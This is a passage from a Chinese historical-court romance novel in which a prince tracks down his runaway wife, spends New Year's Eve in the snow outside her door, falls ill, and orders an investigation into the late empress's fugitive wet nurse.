莫九捂住臂上一道深深的砍痕,腥稠温热的血仍止不住地从指缝中汨汨流出,“殿下恕罪。当时之事,颇有蹊跷。” 他额间带着涔涔冷汗,“聂姑娘虽有暗卫阻拦,但独木难支,终究不是我们的对手。我们当时已然将聂姑娘逼进巷中,只是……有人出手救了她。” 谢承忻扬唇冷笑,“怎得?背后竟还有人虎视眈眈?是谁?三弟的人?” 莫九摇头,“蒙着面,不曾看清。为了怕伤及聂姑娘,我们动起手来多有掣肘,让他们钻了空子。” 而后他露出些迟疑神色来,“只是其中有一柄三环大刀,看起来很像是……很像是逆党所有……” 这话让谢承忻一怔,嘴角忽地扬起一丝诡谲模辩的笑意,“有趣。这些逆党还藏匿于城中不说,竟还冒着暴露的风险,出手救她?” 这些逆党,究竟是什么人。 当年自晋王死后,其党羽余孽被全部清剿。细细想来,似乎是近十数年来的,才又故态复萌的。而这些人的目的十分明确,两次刺杀,都是冲着他与贵妃而去。 这些人,一定知道那个秘密。 他沉默片刻,吩咐道:“去查,当年故皇后去后,可有亲信出宫或不知所踪的。一一查清楚。” 谢承忻忽地想起八岁那年,在贵妃殿中不小心偷听到的对话,尚且年幼的他被震撼到无以复加,而后终日折磨他至此。 只怕晋王余孽是假,扯着晋王的皇子,当年的故皇后余孽才是真。 “是。” 莫九出去的时候,刚好和谢知擦肩而过。谢知冷漠的眼神扫过他臂上血肉外翻的伤口,一言不发。 脚步一步一步踏在青石地板之上,在空旷的殿内发出沉闷的响。谢承忻似笑非笑地看着谢知,“我还是第一次,见三弟这副表情。” “聂相宜呢?”谢知并未与他多言,只是冷冷地看着他,开门见山地问道。 谢承忻只是装傻,“三弟你的皇子妃,怎么倒是跑来问我?” 他拿起那张保存极好的白玉面具,指尖在上流连摩挲,而后朝谢知挑眉,“莫非三弟也知自己是鸠占鹊巢?留不住她的心?” 谢知神色陡然一冷。 他的眸色一点点变得晦暗,以一贯居高临下的姿态看着谢承忻,“太子殿下数次遇袭,暗卫救护不力。自今日起,由神策卫保护太子周全。” 说着,数十名神策卫戍守于东宫。谢知漠然看着他,“还请皇兄,近日不要离开东宫,以免伤及自身。” 谢承忻压低了眉宇,眸中露出锐利的光,“谢知,你敢软禁我?” “皇兄言重,这是保护。”谢知平静说道,“父皇向来也是以神策卫,护皇兄周全。” “谢知,你还是这样冠冕堂皇。”谢承忻冷笑一声,“神策卫乃父皇亲卫,你竟敢以权谋私。” “父皇已然允准。”谢知冷眼看他,“逆党作乱,皇兄身体不佳,前次受伤已让父皇忧心不已,今又有暗卫在宫外贸然出手,只怕亦有事端。” 谢承忻因这话剧烈咳嗽起来,本就苍白的脸上因气喘露出异样的红。 他眸色露出几近慑人的光。若非他身体不好,他又怎会成日像个怕被摔碎的琉璃瓶般只能呆在东宫!若非他身体不好,神策司又怎会容得谢知插手! 可他亦知,他也是因为身体不好,让父皇总能想起因生他难产的故皇后,这才有诸多偏爱! 成也因此!败也因此! 可偏只有他身体不好! 谢知不再去看他的目光,转身出了东宫。他低声吩咐凌竹,“盯紧东宫。” “是。”凌竹应道,“殿下觉得,夫人是被带回了东宫?” 谢知摇头,“还有其他人在。” 莫九臂上的伤几乎到了血肉模糊的地步,绝不是聂相宜或是阳秋造成的。 他语气一滞,又吩咐凌竹,“你去查查,当年故皇后还有哪些旧识。” 那样又宽又深的伤口,难免让他想起一种武器——那柄三环大刀。上次他们掳走聂相宜之后的态度便很奇怪,这次,会是他们帮了她吗? 谢知知道,那日他们口中的血祭挽月,一定会藏着什么秘密。 “另外,全城搜捕逆党!他们一定还未出城。” “咚咚咚!” 已是聂相宜离开的第三天,突如其来的敲门声让她心中顿时一紧。她给含絮递了个神色,便听得含絮问道:“是谁?” “还能有谁!” 不耐烦的声音忽地传来,叫聂相宜与含絮都愣了片刻,“怎得是个女的?” “等等?我怎得听得这声音这般耳熟?”聂相宜皱了皱眉,“怎么……像是裴琅?” 那日她被太子的人追至巷中,阳秋寡不敌众拦无可拦,本 差点被那群暗卫带走。谁知一柄三环大刀从天而降,顿时与那些暗卫缠斗起来。 聂相宜一眼便认出,那些人正是当日掳走她的逆党。 她来不及想其他,趁着这些人被拖住,在阳秋的护送下到了流云观。 这是曾经幼时母亲夏日带她来住过的地方,裴珏一开始,正是想带她来此。 院落不大,却早已被收拾得整洁。木门被拉开一条小缝,容裴琅一人进来,“怎得是你?” “你以为我想来?”裴琅有些没好气地瞥了她一眼,“兄长被殿下盯着,不能亲自过来。只叫我来看看你是否安好。” 聂相宜不知该回些什么,嘟哝了一声,“哦……挺好的……” 裴琅见她这幅模样,气不打一处来,“真不知道你一天在想些什么!一开始闹着非三殿下不嫁,如今嫁了,又闹着要跑!白惹出这么多风波来。” 她哼了一声,“早知如此,当初还不如换我嫁。” 聂相宜因她这话生出些微妙的恼意,梗着脖子嘴硬道:“那你去嫁好了!反正我也打算与殿下和离了!” “你当皇室姻亲是什么?儿戏么?”裴琅被她这话噎了一下,没好气道,“殿下如今找你闹得满城风雨,若非祖父在这流云观修行,只怕也要被他翻个底朝天。连兄长也这样不计后果地帮你。真不知你给他们下了什么迷魂药!” 说着她站起身来,准备离开,“兄长平日不便前来隔壁便是祖父的院子。你若有事,便去那边找裴家的家仆,自会有人告知兄长。” 聂相宜看了她一眼,“多谢。” 至此,她在这方载满回忆的小院安稳住下。 她记得暑气将至的时候,母亲每年都会带她到这里小住。晨间踩露,夜晚观月,母亲总是坐在院中,执一卷书看。 对面院中偶有琴声传来,她那时好奇,便会爬上墙头去看。她便是在那时,遇见的裴珏。 老裴大人在此清修数年,裴珏便是来陪他的。 裴珏看似是个温和乖巧的孩子,实则会带着她草中捉蛐蛐,树上摘果子。偶尔还会跟她一起爬上院墙,说要看看这里的风景是不是更好。 只是夏日美好,眼下却已是隆冬。 下了一场大雪,眼见就快要除夕了,聂相宜闲来无事,扫了扫门口的雪,却在门前遇见了那个形容干瘦的老裴大人。 他身着一身道袍,拿着一把旧笤帚,亦在门口扫雪。 他的眼窝因干瘦显得凹陷,目光却矍铄而锐利,他看着聂相宜,“你是从前那个小丫头。” 聂相宜只点点头,“见过裴大人。” “你母亲呢。” “死了。” “我就知道。” 古怪的对话来得莫名其妙,让聂相宜摸不着头脑。还未等她反应过来,老裴大人便已然兀自进了院子。 “好奇怪的人。” 满城戒严,神策卫几乎找遍了城中的每一个角落,都没有找到聂相宜的身影。 不光聂相宜,连逆党也不知所踪。 谢知周身的气场几乎能将人冻住。 “查出城的人。”不在城中,那便只有出城。 “殿下,近日来神策卫把手城门,无人出城。”凌竹禀报道,“只……只有钟谦岳大人,在头七后日出城回了鄯州。是皇上亲允的。” 谢知绷紧了下颌,“鄯州……她果然还是回了鄯州……” 他眸色一凛,“备马!我要去鄯州!” 很快便到了除夕那天,万家灯火之时,聂相宜孤身一人在这院中,忽然有些想念母亲。 母亲走了,外祖也走了。她如今好像真的,什么也没有了。 外面夜空沉沉,烟花骤然绚烂。 她有些不合时宜地想起了谢知,想起那个烟花下的轻吻。那时的她莽撞又直白,不知什么是害怕。 她不得不承认,自己有些没出息。即使听他说过厌恶自己的话,即使他娶自己并非真心,在这一刻,她也忽然有些想念他。 其实也是有些遗憾的,她与他度过了春夏秋,却唯独没有度过冬天。连回忆都像是少了一块。 此刻的谢知,是在宫中参加宫宴呢?还是在城墙亲巡呢? “笃笃笃。” 忽然有敲门的声音打断聂相宜的思绪,她前去开门,裴珏温和的笑容出现在她的面前,“阿兕妹妹!除夕快乐!” 聂相宜心中有一闪而过的失落。 她扬着唇让裴珏进院子,“子瑛哥哥怎么来了?” “今日除夕,想找你玩呀。”烟火夜空之下的裴珏笑得眉眼弯弯,“你看我带了什么!” 他将烟花炮竹放到聂相宜面前,“从前与妹妹玩乐都是夏日,还不曾玩过这个呢!怎么能错过!” 聂相宜亦来了兴致,噼里啪啦的炮竹闪烁着通红的火光,漂亮又喜庆。连冷清的院子也热闹不少。 裴珏侧过头,看着身旁聂相宜被烟火映照得开心的面颊,“真好。” “你说什么?”爆竹的响声让聂相宜听不见他的声音,只扯着嗓子问道。 裴珏靠得她近些,在她耳边笑着说道,“我说,这还是我和你过的第一个除夕。” “吱嘎——”低矮的院门忽地推开,一个黑沉沉的身影走近院中,目光阴沉地看着举止亲昵的二人。 他的声音如同浸在冰中,“阿兕,除夕快乐啊。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-55 第51章 他的脚步踩在厚厚的雪中,发出咯吱咯吱的声音。他的每一步都像是踩在聂相宜的心上,震惊、不可置信,却又带着说不出的复杂情绪。 “小裴大人好兴致。”他声音如同踩雪般沉闷,“除夕夜不与家中团圆,倒是在此玩闹取乐。” 外头烟花砰砰盛放,灿烂明亮一瞬照亮谢知如玉面颊。他的面容不复往日清冷矜贵,沉冷阴翳,如雪中夜行的一只艳鬼。 “殿下亦然。”裴珏在烟火掩映中与他对视,始终微笑的神色并未有半分退让,“今日不见殿下亲巡城中,倒是有闲心跟踪我。” “跟踪?我只是为了护我妻安危。”谢知眸色沉冷,“裴珏,诱拐皇子妃的罪名,你担得起么?” 聂相宜闻言,怕是连累了裴珏,只上前半步挡在裴珏身前,“是我自己要走的,与小裴大人无关。” 空气忽地凝滞。 “砰”的一声,一朵绚烂的烟花在夜空炸开,谢知明暗交叠的脸颊愈发冷厉。 谢知一步步走近聂相宜,拿过她手中还未燃放的花筒,面色平静地看着裴珏,“我与阿兕夫妻二人共度除夕,就不留裴珏大人了。” 这样的平静如同即将下雪的天空,不知暴风雪何时到来。 裴珏听得出来他毫不客气的逐客令,“可阿兕妹妹似乎并不想,同殿下一起过这个除夕。” 两人的目光一同落在了聂相宜的身上,仿佛在等待着她做出这个决定。 这样的目光让聂相宜如芒在背,她嗫嚅了片刻,不知该如何开口。 裴珏今日特意而来,她并不想拂了他的好意。只是谢知冰冷的目光实在慑人,竟叫她说不出留下的话。 谢知仿佛看出了她的犹豫,他蜷紧了冰凉的指尖,转头看向裴珏,“小裴大人,你没有任何身份,可以陪阿兕过除夕。” 说着,他冷眼扫过隔壁的院墙,“若是今日之事惊动了在此清修的裴大人,裴珏,你当如何?” 裴珏沉默着与他对峙半晌,最终还是无声地轻叹。他转脸看向聂相宜的时候,温和的神色并未有任何变化。 “阿兕妹妹,我先告辞了。”他弯眼轻笑,恰在此时有烟花映入他温润眼眸,“除夕快乐。” 绚烂之后,一室归于寂静。 独自与谢知相对时,聂相宜却觉不知该说些什么。不过半月不曾相见,谢知似乎清瘦了些,一双漆黑的眸子就这样静静地看着她。 炮竹落在雪里满地的红,她垂眸看着谢知拿在手中的花筒,想着大概今夜是放不成烟花了。 她忽然觉得无趣。 夜风让她平白打了一个寒颤,她转身进了屋,阖上房门,“殿下请回吧。” 跳动的烛光映照出门外谢知隐约的轮廓,他站在屋外,却什么话也不说。 “苦肉计!做给谁看!”这样的身影看得聂相宜没由来的心烦,她恼得锤了一拳枕头,索性将脑袋蒙在被子里,不再去看外头的身影。 “嘎吱……”不知过了多久,脚步踩在雪里,是逐渐远去的声音。 明明已经蒙住了脑袋,聂相宜却对这远去的脚步听得十分清晰。她从被窝中露出一双眼睛来,只见映照在门上的身影的确已逐渐远去。 也是,谢知那样清冷矜贵的人,如何受得了她这样的冷待。走了也好!免得在此惹她烦乱! 不知为何,她心中更恼。又一头扎进了被子里,紧紧闭上了双眼。 她要睡觉了!反正她也不在乎! 锦被中的人蜷成一团,却无端心烦意乱,怎么也睡不着。 “砰——”烟花骤然炸响,好似一场突如其来的惊喜,声音极近,像是就在耳边。 聂相宜猛地从被窝中钻了出来,绚烂的火树银花斑斓映照在窗棂之上,衬得屋内火光都微弱无比。 那是从院中放出的烟花。 聂相宜的心忽地剧烈跳动了一瞬,为那流光溢彩的颜色。 她趿鞋下榻,悄然在窗边支起一条小缝,看着天空如流星炸开,一双黝黑的眸在烟花之下格外明亮。 而谢知此刻,只是俯身点燃一盏又一盏的烟花。 就在这场璀璨星雨照亮夜空之际,聂相宜的目光忽地与谢知撞上。他漆黑眼眸如天边星辰,一如当年在鄯州的初见,一眼万年。 她心脏猛地跳动起来,下意识慌张地关上窗。 “阿兕,除夕快乐。” 谢知的声音被掩盖在烟花的盛放中,只剩赫赫喧豗。 糖衣炮弹,聂相宜想,她才不会再上当了! 只是她却无端轻笑了一瞬,将头埋进被窝的时候,她觉得缺氧得厉害,心脏剧烈跳动不止,连她自己,都能听到那咚咚作响的声音。 烟花不知何时休止,她不知何时已然迷迷糊糊睡去。 她睡得并不安稳,夜里忽地传来咔哒的脆响,依稀是积雪压断枯枝的声音。 聂相宜像是突然想起了什么,猛地惊醒,坐起身来,“外头下雪了?” 含絮有些忧虑地看了一眼门外,点点头,“下了有一会了。” 她抬头顺着含絮的视线望去,那人的身影依旧还在门外的风雪之中。 “姑娘,外头雪大,可要让殿下进来?”含絮迟疑了片刻,开口问她。 聂相宜犹豫了一瞬,咬了咬牙,“别管他!” 她像是赌气般背对身去睡下,“都是为了钟家的兵权罢了!我才不会上当呢!” 她紧紧闭上双眼,连眉毛也跟着一同皱了起来。 含絮还想再说些什么,见她这幅模样,最终还是闭了嘴。 她强行催促自己睡下,睡着了便就什么都不知道了!可偏偏外头夜风扰人,呼呼吹过,叫人不得安宁。 聂相宜在被窝中翻来覆去,脑中却始终浮现出门外映照的那个漆黑人影。 “烦死了烦死了!”她骤然翻身起来,像是气不过般狠狠锤了一下枕头。而后又认命般趿上鞋子,怒气冲冲冲到门口,猛地拉开房门。 “你!” 她话还没说出口,便被扑面而来的冷风惊得一个冷颤。 谢知忽地将她拥入怀中。 他的怀抱带着风雪的冰凉意味,却宽阔安心,带着他一贯的清冽气息,将她紧紧包裹其中。 突兀的怀抱让她没由来的喉头发酸,聂相宜听到自己的心跳与谢知胸腔的跳动交织在一起,不知是谁跳动得剧烈,咚咚作响。 “谢知你放开我!”她拧着身子挣扎了一瞬,“冷死了!” 谢知轻轻放开了她,眼眸低垂看着她,“阿兕。” 聂相宜有些不敢看他的眼睛,只转过身兀自去进了屋,不再阻拦谢知进去。 她从箱笼中拿出一床锦被来,泄愤般狠狠摔到榻上,这才板着脸看向谢知,“不是叫你回去吗!” 谢知拂去肩上的雪,跟在她身后进了屋内。 聂相宜的发间有些微微的散乱,气愤地瞪着一双溜圆的眼睛,毫无气势。这般嘴硬模样,只叫人觉得像只色厉内荏的炸毛小猫。 谢知抿了抿唇,只说道:“雪夜难行。” “方才跟踪小裴大人过来的时候没见你雪夜难行?”她不好糊弄了。 聂相宜将锦被扔给谢知,“你睡地上!明天早上便走!我才不会跟你回去!” 含絮附在她耳边低声提醒,“姑娘,殿下在外头吹了一夜的风,地上潮湿阴寒,只怕是伤身。” “要你提醒!”聂相宜瞪她一眼,“你哪头的!” 嘴硬模样叫含絮只暗自偷笑一声,而后默默去了偏房。 聂相宜不再去看谢知,只气哄哄地上榻,翻身一滚,将锦被一裹,便不动声色地让出半边床榻来。 她气恼得要命。一边觉得自己心软,一边又觉谢知实在是讨厌,非要在门口站这一夜,存心拿捏她。 谢知看着她拿背对着自己,像是气恼极了的模样,嘴角几不可察地轻扬了一瞬,而后又转瞬按下。 有银剪子剪断灯芯的声音,烛火转瞬黯淡了下去。聂相宜听见身旁轻微的动静,熟悉的清冽气息传来,谢知轻轻躺在了她的身边。 两人各自盖着锦被,如同一道泾渭分明的分界线。 聂相宜想起她与谢知刚成亲那日,他也是这样,静静地躺在她的身边。 耳边传来平静的呼吸声,聂相宜脑中纷纷扰扰,不知何时再次睡了过去。 这一觉她睡得安稳,还难得做了一个美梦。梦里母亲和外祖还在,殿下也是真心待她,一家人团团圆圆,在除夕夜放烟花赏雪。 只是梦里总像是有什么东西紧紧束缚缠绕着她,平白叫她觉得喘不过气。明明是冬日里,却像夏天般热得出汗。 她猛然睁开眼睛,外头已然天光大亮。积了一夜的雪明晃晃地照人,正是新年伊始。 她睡眼惺忪,正欲再睡个回笼觉,却在转脸时,看见谢知那张清冷俊逸的脸,放大在自己面前。 那道泾渭分明的分界线早已不见踪影,他将自己紧紧拢在怀中,胸膛相贴,热意传递,一如浓情蜜意时的爱侣。 “谢知!” 谢知被她的声音呼喊地微睁开眼,而后只是伸手将她的头靠进自己怀中,像是下意识的动作,转瞬又闭上了眼。 他向来自持守礼,聂相宜还从未见过他晨起懒床的模样。鸦羽似的浓黑睫毛微垂,面上带着一丝睡意的绯红,灼热的气息尽数洒在聂相宜面颊之上。 聂相宜正欲挣扎,却忽地察觉到像是不对劲。 谢知仿佛热烫得厉害。 她费劲力气,从谢知怀中拔出一只手来,探向谢知的额头,顿时惊了一跳。 昨夜吹了一夜风雪,谢知起了高热。 “殿下?谢知?”她推了推谢知的胸膛,他却紧闭双眸,不曾出声。 聂相宜心下遏制不住的慌乱,不由在他怀中挣扎起来,准备起 身去请大夫。 谢知的双手却紧紧环抱着她的腰身,不肯放她离开。 他的头埋进聂相宜的颈窝,沙哑的声音还带着浓浓的鼻音,是聂相宜从未见过的脆弱之感。 “阿兕,别离开我。” 第52章 谢知突如其来的高热让这个新年来得措手不及。 即使高热不醒,他的力气依旧大得吓人,从前的克制与自持因这一场风寒而湮灭,他只紧紧抱着聂相宜不肯松开。 “含絮。”她从谢知怀中挣脱,起身去找含絮,“你快找凌竹大人,让他速速带大夫来!快去!” 等得吩咐完含絮,聂相宜转过头看着谢知苍白的面色,只觉又气又恼。 她气他纠缠不休,恼他不避风雪,更心烦自己这般没出息,心软至此,见他如此之态,竟无法抑制地心疼起来。 “谢知!该我上辈子欠你的?”她瞪着谢知苍白的脸,终究还是意气难平。 她气得牙齿都发痒,恨不能一口咬死他,再也眼不见心不烦。 于是她狠狠一口咬在谢知肌肉流畅的手臂之上,直到留下一个绯红的牙印,这才算勉强解气。 半个时辰的功夫,凌竹带着大夫匆匆赶来的时候,谢知烧得浑身滚烫,仍未曾醒来。 凌竹像是吓了一跳,却不敢多问,只能一脸紧张地看着大夫,“大夫,殿下怎么样了?” 大夫只摇了摇头,“寒风侵体,高热不退。需得先发汗退了烧,再好好调养才是。” 凌竹面露担忧之色,“殿下素来身体强健,即使感染风寒,也不至这般严重才是。” 大夫一边诊脉,凝重的神情中略带疑惑,“凌竹大人,殿下前段时间可有急火攻心之兆,兼之操劳忧思过甚?” 凌竹闻言不由看了一眼聂相宜,讪讪摸了摸鼻子,“殿下近日里来忙碌,常常焚膏继晷,食不知味。” 聂相宜像是听懂了他话中的暗示,不由得紧紧攥住了衣角。 “这便是了。”大夫点点头,一边去写方子,“只因如此,伤了殿下根本。这才致使一病不起。需得慢慢将养才是。” 聂相宜闻言,神色带着说不出来的复杂,只问道:“正值冬日,这小院物什一应并不周全,恐怕耽误了殿下养病。可否命了马车,送殿下回府?” 她只怕与谢知再待下去,自己会愈发抑制不住地心软。 凌竹立刻给大夫打了个眼色。 “万万不可!”大夫一双手几乎摆出了残影,“殿下如今正值高热,若是再受风寒,只怕是雪上加霜。还是静养为宜,不宜挪动。” 凌竹也跟着说道:“夫人若是缺什么,吩咐属下便是。” 待得送走大夫,凌竹这才回来,言辞颇为恳切的对着聂相宜说道:“夫人,近日来殿下为寻夫人踪迹,终日悬心,夜以继日,从来没有安心休息的时候。还差点追去鄯州。” 他语气一顿,“属下知道,夫人与殿下或有龃龉。只是殿下心中,实是一心念着夫人的。” 他的话让聂相宜心中说不出是何感受。 为了找她?谢知是为了什么而找她呢?是如凌竹所说,一心惦念于她,还是为了钟家兵权? 她心中生出些茫然的酸胀感。好像一颗心落不到实处,她下意识想要相信凌竹的话,理智却又提醒着她,不敢相信。 “我知道了。”她轻声说道,转身进了屋内,“你先去为殿下抓药吧。” 屋内的炭火烧得通红,偶尔发出啪的一声爆响,整个屋子里都弥漫着暖融融的气息。外头雪地里残留着昨夜烟花爆竹落下的红纸,如满地红梅,很是喜庆。 聂相宜曾幻想过许多和谢知一起度过除夕的场景,却从未想过会是这样。 她往炭盆里又加了些炭火,又再拿出一床锦被来给谢知盖上,只重重哼了一声,瘪着嘴嘟哝,“我才不愿留你呢!” 不一会儿,凌竹抓了药回来,又廊下煎好。只是不知是凌竹手脚太笨,还是谢知警惕性实在是太高,拿药怎么也喂不进去。 眼见煎好的药撒了大半,落在衣襟与锦被之上,转瞬又是一片冰凉。 聂相宜无端看着心急,正欲上前,又像是突然想起了什么,止住了脚步。 凌竹见她神情,只恳切说道:“夫人,属下手脚粗笨,从未做过这喂药的精细功夫。只怕要麻烦夫人……” 聂相宜啧了一声,皱着眉头像是极不耐烦的样子,这才伸手接过药碗。 她瞪了仍在昏迷的谢知一眼,故作恶狠狠地说道:“张嘴!毒不死你!” 浓黑的药汁送至唇边,竟就这样顺利喂了下去。 凌竹震惊地看着自家殿下。 若非此刻他面色苍白毫无血色,他真的要怀疑殿下是装晕了! 他忙跟着恭维,“殿下向来警惕,即使高烧昏迷也是如此。这般模样,想来极是信任夫人呢。” 不是苦肉计,就是花言巧语。聂相宜说过了,她才不会上当呢! “等殿下退了烧,你便护送殿下回府。”她冷着声音板着脸,不再去看谢知。 凌竹嘴上连连应和,却在一个下午的时间,搬来了府邸许多东西,连西施也跟着抱来,俨然一副谢知已在此安家的模样。 聂相宜一问起他,他便说是不知殿下需要什么,干脆全都搬来了。 十分乖觉的模样,叫聂相宜无话可说。若不是谢知还昏迷着,她一定会觉得是谢知吩咐如此! 夜里,给谢知喂过药,聂相宜依旧自己裹着自己的被子,缩在角落里睡去。 只是早上醒来的时候,她不知何时,又落入了谢知充满热意的怀抱。 她挣扎了片刻,只见谢知羽睫微微闪烁,慢慢睁开了眼。 两双眼眸对视的刹那,聂相宜不知为何,心中有说不出的慌乱。 她不愿叫谢知见到此刻她与他如此紧贴的距离,仿佛这样会叫谢知看清她的心软,看到她还留有余地。 她下意识反手一胳膊肘,重重捣在谢知胸口。 “唔。”谢知闷哼了一声,不由得轻咳起来,手臂放开了她。 聂相宜翻身起来,梗着脖子瞪着谢知,“殿下醒了?那殿下可以回去了。” 虽然已经尽力冷硬,她的语气仍旧带着晨起的惺忪,眉眼也带着几分慵懒之意,没半分慑人气息。 谢知神色依旧带着病弱的苍白,因她的话眉宇似乎更显失落与黯淡。只是他什么也没说,只抿唇轻声说道:“好。” 他翻身起来,默然坐在床边更衣。 见他如此,聂相宜心中反而有些说不出的滋味来。 谢知刚站起来身来,许是大病未愈,脑中骤然一片眩晕,几欲站不稳。 几乎是下意识的动作,聂相宜眼疾手快地拉住了他。 谢知跌在她身上,目光相接,气息在极尽的距离中交缠,两人的心跳如擂鼓鸣,沉默的空气中有异样的气氛流淌。 “抱歉。”谢知抿着苍白的唇色。 聂相宜推开他,竭力控制住胸中剧烈跳动的心脏,冷着脸没好气道:“昨日叫你离开时,怎不见你这般干脆?” “我只是想……与你同过除夕。” 他漆黑的眸色带着璀璨的亮光,叫聂相宜无端想起昨夜雪地的那场烟火。她有些狼狈地别过头去,哼了一声,“我才不想和你过呢!” “我知道。”或许是因在病重,谢知的声音轻得像一片雪花。 她想和裴珏一起过除夕。 昨日赶到这方小院时,裴珏附在聂相宜耳边说笑的模样那样碍眼!烟火簇簇,二人宛若佳偶天成,几乎刺痛他的眼! 他在阴翳的角落里冷眼看着这一切,如一只见不得光的鬼,恨不能一剑刺穿裴珏的胸膛。 可是他不能,他知道聂相宜会抗拒。 他只能以她夫君的名义,赶走裴珏。这是他唯一拥有的东西了。 他知道聂相宜不愿。 他承认那是卑劣而自私的苦肉计。支撑他在风雪中等候的是,也许聂相宜会为他打开这扇门,哪 怕只有一点点心软。 他小时候总是听说,在除夕之夜许下来年的愿望,会格外灵验。他从不相信。 那扇门为他打开的一瞬,他想,他的新年愿望,已经实现了。 谢知的沉默让聂相宜觉得恼人的厌烦。她拧着眉头,“罢了罢了!倒像是我苛待你似的!” 她下榻,将煨好的药重重搁在桌上,“快点喝药!等病好了就赶紧走!” 语气虽是气鼓鼓的,却是让谢知留下了。 这小院只有这一间主屋,剩下一间偏房含絮居住,余者便是堆放杂物所用。聂相宜只得日日与谢知同塌而眠。 临睡前,她总是板着脸警告谢知,“今晚不许越界!” 这幅模样如同一只毫无威慑力的张牙舞爪的小猫,谢知只抿唇应下。 然而每次到了翌日清晨,聂相宜总会发现自己在谢知怀中醒来。而谢知总是一副平淡又无辜的神情,“抱歉,也许是我病还未好,梦中放肆了。” 以退为进!不会上当! 因着谢知的病症,他的膳食总是以清粥为主。这几日凌竹像是在忙其他事务,甚少过来,偶尔含絮忙着煎药,聂相宜便帮着熬粥。 “多谢阿兕为我熬粥。”谢知看着面前的粥,轻轻弯了弯唇。许是病色淡去了他平日的冷厉,如今模样,倒是更显温润随和。 本只是帮忙,谢知这话,倒像是她特意亲自为谢知熬粥一般。 “要不是含絮忙着,我才不想给你熬粥呢!爱喝不喝!”聂相宜别过脸去,哼了一声。 那清粥刚一入口,谢知忽地面色一凝。而后喉头一滚,不动声色地咽了下去,“味道很好。” “便宜你了。” 如此,谢知一连在这里待了好几日,脸上苍白的病色却无半点好转之色。 聂相宜心中难免起了担忧,她想起那日大夫说的话,只怕是他落下了病根。 于是她在粥中加了不少补气养身的药膳。含絮见了不由掩唇轻笑,“姑娘还真是关心殿下呢。” “我才不关心他!”聂相宜瘪着嘴,梗着脖子道,“我只是想让他赶紧走罢了!” 这日,凌竹前来复命,只见谢知在窗下,悄无声息地倒掉了碗中的汤药。 谢知对上他的目光,淡漠的眼神中带着警告之意。 凌竹忙垂首,装作什么也没看见。 不愧是殿下啊。 片刻,聂相宜端着粥过来。凌竹看着那颜色难明的浓粥,不知是她熬制,只下意识惊呼,“殿下就喝这个?” 谢知眼神如刀,冷眼叫他闭嘴。 “这个怎么了?”聂相宜闻言顿时像只炸毛的猫,只忿忿瞪着谢知,“我特意熬的药膳粥!不识好人心!你不喝我自己喝!” 说着她端起那碗就是咕嘟一口。 空气突然安静了一瞬。 “哕——” 第53章 聂相宜从来没想过这玩意会这么难喝,又酸又苦,还带着一股淡淡的糊味。 她更没有想到,一连好几天谢知都会地一声不吭地喝下这玩意,面不改色。 她忽然有些说不清道不明的气恼,“你以为你做出这副包容忍让的样子,我就会心软了吗!我才不会上当!” 以退为进! “没有。”谢知只是端起那粥准备饮下,“我觉得味道很好。” 他这般气定神闲的模样,倒叫聂相宜觉得是自己感觉错了。 她气急败坏地从他手中夺过碗盏,“你味觉有毛病是不是?从前我那么拿手的玉屑糕你给我丢进土里!这么难喝的粥你倒是一滴不剩!” “玉屑糕?”谢知闻言忽地一怔,皱着眉头似是回想。这才想起她曾经的确送过自己一盘糕点,只是那时自己怀疑她令有目的,叫凌竹处理了。 “你居然忘了?”谢知怔忪的神色让聂相宜更气。 他果然什么都不在意! 她伤心了那么久,在谢知眼中却像是一件无足轻重的小事,根本不值一提。 谢知敏锐地捕捉到她话中的信息,忽地转头看向凌竹,“丢进了土里?” “你以为我不知道?”聂相宜撇着嘴,自以为将委屈神色掩饰地很好,“我亲眼看到了!不仅丢进土里!还用脚狠狠碾了几下。” 说着她伸出脚尖,故意重重在地上碾过,“就像这样!” 凌竹陡然感受到谢知凌厉的视线。 凌竹这才后知后觉地想起那日的情景来。无妄之灾!他心中大呼冤枉!他明明只是用土稍作掩盖罢了!哪有这么用力碾碎! 片刻,谢知默然收回了眼神。凌竹的确也没错,毕竟是他自己叫凌竹将那碟子糕点处理的。 的确是他辜负了她的心意。 气氛忽然变得凝滞,谢知沉默了半晌,抿着唇说道:“抱歉。” 突如其来的道歉倒让聂相宜有些无所适从。她看向谢知,他的面色仍带着些苍白,与窗外雪色交相辉映,无端平添了几分脆弱的病态之美,让人无端心动。 谢知漆黑的眸子如一潭深泉,就这样定定地望进她的心里。 不知为何,她忽然有些想哭。 到了这个地步,现在这迟来的道歉,又算什么呢? 谢知这几日,又是放烟花,又是在风雪中等待,抑或是默然喝下这苦粥,聂相宜想,他实在是个狡猾的人。 她是个吃软不吃硬的人,若是像前日里将她困在府中,她未必会低头。 可偏偏谢知先朝她低了头。那样矜贵清冷宛如神祗的人,那样如皎皎明月高不可攀的人,竟先向她低头认错。 哪怕明明知道他是为了钟家的兵权,聂相宜差点被他迷了眼。 她宁愿他像从前一样,只是一脸冷漠地倒掉这碗粥。 她不愿露出异样的神情,只板着一张脸,恶狠狠地说道:“活该你没口福!只配喝这破粥!” 话虽如此,她却还是一脸气鼓鼓地倒掉了那碗粥,转身出了房门,不再去看谢知。 “殿下吩咐我查的事情,有着落了。”凌竹见她离开,低声对谢知说道。 谢知轻咳了一声,“说。” “属下按殿下的吩咐,去查温成皇后的故旧,却发现其都已不在人世。”凌竹说道,“除却温成皇后的母家大多死在战场之上,闺中密友文安夫人亦已去世,就连温成皇后的仆从婢女,当年也因皇后难产去世,被皇上治了照顾不力之罪。” 谢知沉吟片刻,“竟无一人在世?” “有。唯有一人。”凌竹这才说道,“当年温成皇后的乳母,林乔。皇上治罪之后,林乔畏罪,出宫潜逃,至今下落不明。” “林氏?”听得她的姓氏,谢知神色骤然一凝,“她也是温成皇后母家的人?” “是。林氏是林家远房庶女,若算辈分,应算作温成皇后的小姨。更重要的是……”凌竹觑了一眼谢知的神色,“林氏与钟家……曾有姻亲……林乔的丈夫,乃是钟岐的远房堂弟。” 谢知心中的线索乍然明晰起来。 为何他们会知道温成皇后的闺名,为何他们会放过聂相宜,就连年岁也能大概对上。 林家亦是武将世家,难怪那女子这般老练。想来聂相宜那日那日听到的“将军”,定是这个乳母林乔。 只是,她们打着晋王余孽的幌子费劲苦心,为何要对贵妃下手?更说不通的是,她们为何要对温成皇后唯一的儿子下手。 她们身上,一定藏着什么不可告人的秘密。 “追查这个林氏下落,务必活捉!”谢知冷声吩咐道。他又像是想起了什么,“重点按照钟谦岳出城的方向巡查!动静小些,不要打草惊蛇!” “殿下的意思是……” 